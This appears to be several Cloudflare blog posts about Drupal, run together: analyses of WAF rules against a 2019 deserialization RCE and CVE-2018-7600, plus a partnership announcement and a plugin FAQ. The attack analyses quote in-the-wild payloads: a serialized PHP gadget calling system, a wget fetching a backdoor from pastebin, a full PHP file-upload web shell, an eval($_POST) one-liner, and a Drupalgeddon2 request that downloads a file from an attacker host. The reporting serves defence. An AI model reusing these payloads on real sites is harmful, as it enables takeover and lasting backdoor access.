As soon as Drupal released their patch, we analysed it to establish what kind of payloads could be used against it and created rules to mitigate these. By analysing the patch we were able to put together WAF rules to protect cloudflare customers running Drupal.

We identified the type of vulnerability we were dealing within 15 minutes. From here, we were able to deploy rules to block the exploit well before any real attacks were seen.

As Drupal's release announcement explains, a site is affected if:

• It has the Drupal 8 RESTful API enabled                                      

• Or it uses one of the 8 modules found to be affected

From looking at the patch we very quickly realised the exploit would be based on deserialization. The option ['allowed_classes' => FALSE] was added as part of the patch to the link and map field types. This indicates that while these items are supposed to receive some serialized PHP, there was no legitimate case for supplying a serialized PHP object.

This is important because the easiest way to exploit a deserialization vulnerability in PHP is to supply a serialized Object that is crafted to execute code when deserialized.

Making the situation worse was the fact that the deserialization was performed regardless of any authentication.

We also realised that this meant blindly blocking all serialized PHP would break their intended functionality, as clearly these fields are supposed to receive specific kinds of serialized PHP, for example arrays or strings. Although as the PHP documentation notes, it’s always a risky thing to deserialize untrusted data, even when restricting the set of data that’s excepted.

This blog post from Ambionics does a good job at explaining what a concrete exploitation of the vulnerability looks like, when applied to the Drupal 8 RESTful API.

After the vulnerability was announced, we created several rules to experiment with different ways to build a signature to catch exploit attempts. Within an hour of the Drupal announcement we had deployed these in simulate mode, which logs potentially malicious requests without blocking them. After monitoring for false positives they were then improved them a few times as we tuned them.

This culminated in the deploy of rule D0020, which has blocked a number of attackers as shown in the graph below. The rule was already deployed in ‘drop’ mode by the time our first attack was observed at around 7pm UTC on Friday the 22nd of February 2019, and to date it has matched zero false positives. This is less than 48 hours from the announcement from Drupal.

Figure 1: Hits on rule D0020, with the first attack seen on the 22th February 2019.

These first attacks leveraged the “guzzle/rce1” gadget from phpggc to invoke the linux command “id” via PHP’s “system” function, exactly as ambionics did.

'O:24:"GuzzleHttp\Psr7\FnStream":2:{s:33:"GuzzleHttp\Psr7\FnStreammethods";a:1:{s:5:"close";a:2:{i:0;O:23:"GuzzleHttp\HandlerStack":3:{s:32:"GuzzleHttp\HandlerStackhandler";s:2:"id";s:30:"GuzzleHttp\HandlerStackstack";a:1:{i:0;a:1:{i:0;s:6:"system";}}s:31:"GuzzleHttp\HandlerStackcached";b:0;}i:1;s:7:"resolve";}}s:9:"_fn_close";a:2:{i:0;r:4;i:1;s:7:"resolve";}}''

After this we saw several more attempts to use this gadget for executing various payloads, mostly to test whether targeted servers were vulnerable. Things like ‘phpinfo’, echoing strings and performing calculations.

The first malicious payload we saw used the same gadget, but this time to save a malicious payload from pastebin onto the user’s server.

wget -O 1x.php https://pastebin.com/raw/npLq4493

This script would have placed a backdoor on the target system by allowing them to upload files to the server via an HTML form. This would have given the attacker continued access to the system even if it was subsequently patched.

<?  echo "'XXXXXXXXXXXX";
$cwd = getcwd();
Echo '<center>  <form method="post" target="_self" enctype="multipart/form-data">  <input type="file" size="20" name="uploads" /> <input type="submit" value="upload" />  </form>  </center></td></tr> </table><br>';
if (!empty ($_FILES['uploads'])) {     move_uploaded_file($_FILES['uploads']['tmp_name'],$_FILES['uploads']['name']);
    Echo "<script>alert('upload Done');
		</script><b>Uploaded !!!</b><br>name : ".$_FILES['uploads']['name']."<br>size : ".$_FILES['uploads']['size']."<br>type : ".$_FILES['uploads']['type'];
}
?>

Another malicious payload seen was much more minimal:

echo '<?php @eval($_POST['pass']) ?>' > vuln1.php

This payload creates a small PHP file on the server, which contains the dangerous eval() function. If this hadn’t been blocked, it would have allowed the attacker to issue commands via a single HTTP request to the vuln1.php file that could execute arbitrary commands directly on the potentially vulnerable system.

The pattern we saw here is fairly typical of a newly announced vulnerability. Once a vulnerability is published, it doesn’t take long to see real attackers making use of the vulnerability - initially in small numbers with “test” payloads to identify whether the attacks work, but shortly afterwards in much higher numbers, and with more dangerous and subtle payloads. This vulnerability was weaponized within two days of disclosure, but that is by no means the shortest time frame we’ve seen.

It’s very hard to patch systems quickly enough to ensure that attackers don’t get through, so products like Cloudflare’s WAF are a vital line of defense against these emerging vulnerabilities.

Two weeks after adding protection with WAF rule ID D0003 which mitigates the critical remote code execution Drupal exploit (SA-CORE-2018-002/CVE-2018-7600), we have seen significant spikes of attack attempts. Since the 13th of April the Drupal security team has been aware of automated attack attempts and it significantly increased the security risk score of the vulnerability. It makes sense to go back and analyse what happened in the last seven days in Cloudflare’s WAF environment.

The vulnerability potentially allows attackers to exploit multiple attack vectors on a Drupal site, which could make a site completely compromised.

Drupal introduced renderable arrays, which are a key-value structure, with keys starting with a ‘#’ symbol, that allows you to alter data during form rendering. These arrays however, did not have enough input validation. This means that an attacker could inject a custom renderable array on one of these keys in the form structure.

Cloudflare implemented a WAF rule that would identify malicious requests and block them. We block malicious payloads in GET requests, POST requests and Cookies, which matches the patch made to drupal itself.

Just during last week, after removing false positives, the rule has blocked more than 500,000 potential attacks, especially at the start of the sample date, when the vulnerability was more recent.

Apart from that, we are seeing more than 250 unique IPs per day, mostly IPv4 but also some IPv6 addresses.

Our analysis shows that most of the attempts are built with a POST request, trying to exploit the ‘mail’ field, with the following being the most used ones:

MAIL[#POST_RENDER]
MAIL[#MARKUP]
NAME[#POST_RENDER]

We also found some interesting attack attempts, in which the attacker tried to inject a renderable array on the name field that would copy and download a specific file with access details into a site belonging to the attacker on a most probably compromised domain.

/q=user/password&name[#post_render[]=system&name[#type]=markup&name[#markup]= chmod 0644 ./sites/default/files/.htaccess;cp/dev/null./sites/default
/files/.htaccess;mkdir./sites/default/files/temp/;wget -P ./sites/default/
files/temp/http://[REDACTED]/blog/wpcontent/uploads/2017/01/example.sites.php;echo"@!!%@"

The number of blocked requests does not seem to be going down and we keep blocking more than 56,000 potential attacks per day.

Drupal Advisory: https://www.drupal.org/sa-core-2018-002

We’ve had the good fortune to share many great experiences with the Acquia team over the last few years. From breaking bread with founder and CTO Dries Buytaert at SXSW, to skiing the slopes of Park City with the company’s CEO Tom Erickson, to staying up late with their incredible team onboarding a joint customer under a DDoS attack. It’s always a pleasure to spend time with the Acquia team.

Today we are thrilled to welcome Acquia as a CloudFlare Partner. Together we developed Acquia Cloud Edge powered by CloudFlare making it easier for any of their customers to access CloudFlare’s web performance and security solutions. The Acquia Cloud Edge is a family of products that protects websites against security threats, ensures only clean traffic get served, and speeds up site performance no matter where visitors are located.

Acquia Cloud Edge powered by CloudFlare comes as Edge Protect and Edge CDN. Edge Protect defends against DDoS and other network-level attacks. CloudFlare sits on the network edge in front of Acquia web servers, allowing early identification of attack patterns and questionable visitors, and mitigating attacks before they reach a user’s site. Edge CDN accelerates the delivery of digital experiences through CloudFlare’s global network with the fastest, most full-featured CDN on the market. It cuts page load times by up to 50 percent and reduces bandwidth. Customers see up to a 95 percent cache hit rate, reducing the number of requests that have to be served from the Acquia infrastructure.

CloudFlare has been a fan of Drupal from the very beginning, and with nearly 2 million sites built on the open content management framework, we are excited to partner with Acquia to provide the best web performance and security for the Drupalverse.

Get started or learn more about CloudFlare and Acquia.

Rule D0002 provides protection against this vulnerability. If you do not have that ruleset enabled and are using Drupal clicking the ON button next to CloudFlare Drupal in the WAF Settings will enable protection immediately.

CloudFlare WAF protection can help mitigate vulnerabilities like this, but it is vital that Drupal 7 users upgrade to the safe version of Drupal immediately.

The Drupal Security team has posted a PSA on this vulnerability that states:

You should proceed under the assumption that every Drupal 7 website was compromised unless updated or patched before Oct 15th, 11pm UTC, that is 7 hours after the announcement.

Given the severity of that statement, if you did not update your Drupal 7 installation please read the PSA and follow the instructions on cleaning up your site.

If you have not updated or applied this patch, do so immediately, then continue reading this announcement; updating to version 7.32 or applying the patch fixes the vulnerability but does not fix an already compromised website. If you find that your site is already patched but you didn’t do it, that can be a symptom that the site was compromised - some attacks have applied the patch as a way to guarantee they are the only attacker in control of the site.

That's because CloudFlare pushes updates to these rules automatically when new vulnerabilities are found. If you enable the relevant ruleset for your technology then you'll be protected the moment new rules are published.

For example, here's a screenshot of the WAF Settings for a customer who uses WordPress (but doesn't use Joomla). If CloudFlare pushes rules to the WordPress set then they'll be protected automatically.

Enabling a ruleset is simple. Just click the ON/OFF button and make sure it's set to ON.

Here's a customer with the Drupal ruleset disabled. Clicking the ON/OFF button would enable that ruleset and provide protection from existing vulnerabilities and automatic protection if new rules are deployed.

For common problems we've rolled out protection across the board. For example, we rolled out Heartbleed protection and Shellshock automatically, but for technology-specific updates it's best to enable the appropriate ruleset in the WAF Settings.

A Drupal developer, Brian Stevenson, recently created a CloudFlare Drupal extension that will help Drupal site owners get the original visitor IP at the Drupal level. Some common FAQs about the CloudFlare Drupal Extension:

The extension restores the original visitor IP at the Drupal level. Before the extension was available, your logs would reflect CloudFlare's proxy IP addresses.

You can find the installation on the Drupal.org website.

You do not need to install the extension if you have already installed mod_cloudflare on your server. It is recommended that you install both if you need original visitor IP at both the Drupal and server level.

The extension has known compatibility with Drupal 6. Drupal 7 is still under development.

The Drupal extension does not have the same spam reporting capabilities or database optimization features found in the CloudFlare WordPress plugin. However, the Drupal plug-in will continue to develop to include additional features.

A CloudFlare customer wrote up a helpful guide to what they found to be best practices using Drupal with CloudFlare.

A shout out to Brian for bringing this extension to the CloudFlare and Drupal community. If you are interested in contributing to the Drupal extension, we'd love to hear from you. Send us a note.

CloudFlare is not affiliated with or endorsed byDrupal.